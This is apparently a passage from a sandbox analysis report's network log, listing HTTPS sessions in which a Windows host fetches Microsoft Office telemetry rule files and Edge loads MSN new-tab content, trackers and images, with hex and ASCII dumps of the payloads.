2024-11-23 08:17:01 UTC	3880	IN	Data Raw: 88 85 a0 2c 34 94 ad 0d 4e 08 e5 64 ab 9c 41 cb 9d 93 4e bb c1 1c 02 9b 0c 78 3c 98 9c c5 ce 73 5d cd 7d 15 f8 43 b9 2e 4e 5d 2a ed 9d dc f7 ab c4 1c 6e e5 6e a4 6e 47 44 22 a8 22 40 bf d4 6d ba f4 67 04 0f bd 51 76 30 38 ae 96 b0 e0 bc 39 d7 3f 5f ea aa 97 16 7c 2e 2d 8e 86 3c 2c ba 39 71 cf 2e 9c d7 2c 88 37 91 7d d1 5a 37 1e 4a 5c 09 2e 9d e5 86 e3 8e c5 5f 3a ec a4 45 6f b6 d7 bf bf 8a e3 b9 f4 d8 43 87 b7 dc ab 17 83 1f 5d b8 ee a4 f5 0c d7 ea 23 93 a2 2e ed fd fb 95 a1 ea 4c 11 5c 1e b4 0d bb f7 5e 46 5a e8 f3 47 4d fb a3 e1 59 48 3c fc 45 91 33 d1 7a bf da da 71 07 b2 79 23 6b 8f bf fa 2a b9 3d 71 f4 c3 31 34 41 dc 9a a4 7b 47 cd 79 77 31 cd f8 81 f7 8d fa 74 55 8b 06 e0 80 76 df 9a e7 31 ab a4 e4 cd 5b dc ff 00 86 4e d7 31 e2 55 17 12 e2 49 32 4e Data Ascii: ,4NdANx<s]}C.N]nnnGD""@mgQv089?_\|.-<,9q.,7}Z7J\._:EoC]#.L\^FZGMYH<E3zqy#k=q14A{Gyw1tUv1[N1UI2N

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:00 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081700Z-174c587ffdf4zw2thC1TEBu34000000002rg000000009edf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:00 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0cf5f3f5-601e-003e-691a-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081700Z-178bfbc474bwh9gmhC1NYCy3rs000000045g00000000egsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:17:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081700Z-178bfbc474bvjk8shC1NYC83ns00000003x000000000gsvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:01 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:01 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081700Z-15b8b599d88z9sc7hC1TEBkr4w00000002t0000000008m5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:17:01 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49913	23.101.168.44	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1124054842946B4F2DE61008433C6A40&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=98dedd5a825e4fc0ae0c2452599c7bee HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
2024-11-23 08:17:01 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 08:17:00 GMT Connection: close
2024-11-23 08:17:01 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49914	18.173.219.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	1012	OUT	GET /b2?rn=1732349818187&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1124054842946B4F2DE61008433C6A40&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1FF9c66a78510822371cf741732349819; XID=1FF9c66a78510822371cf741732349819
2024-11-23 08:17:01 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 23 Nov 2024 08:17:01 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 f875ba0ddbd90a5e7c9a82af3af607f6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: Sn3mP1OF7VIxNz8fE_VH4GkxPlyKh3nESkV_a_0fRaNnU4uc4RjJ_w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49912	40.79.141.153	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732349818185&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
2024-11-23 08:17:01 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 38 3a 31 36 3a 35 38 2e 31 38 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 35 63 34 39 65 38 62 2d 30 30 65 38 2d 34 32 39 32 2d 39 39 64 32 2d 64 64 32 34 38 32 39 32 33 38 38 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 36 31 34 37 31 38 38 32 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-23T08:16:58.181Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"45c49e8b-00e8-4292-99d2-dd2482923886","epoch":"1614718822"},"app":{"locale
2024-11-23 08:17:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=03ef1794c32343489ba432df805b8b7f&HASH=03ef&LV=202411&V=4&LU=1732349821672; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 08:17:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d58ee581f3e245bc89275071e2177bc9; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 08:47:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3487 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 08:17:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49915	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:01 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=60724 Expires: Sun, 24 Nov 2024 01:09:05 GMT Date: Sat, 23 Nov 2024 08:17:01 GMT Connection: close
2024-11-23 08:17:01 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49917	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=193304 Expires: Mon, 25 Nov 2024 13:58:45 GMT Date: Sat, 23 Nov 2024 08:17:01 GMT Connection: close
2024-11-23 08:17:02 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49918	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:02 UTC	515	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=79035 Expires: Sun, 24 Nov 2024 06:14:16 GMT Date: Sat, 23 Nov 2024 08:17:01 GMT Connection: close
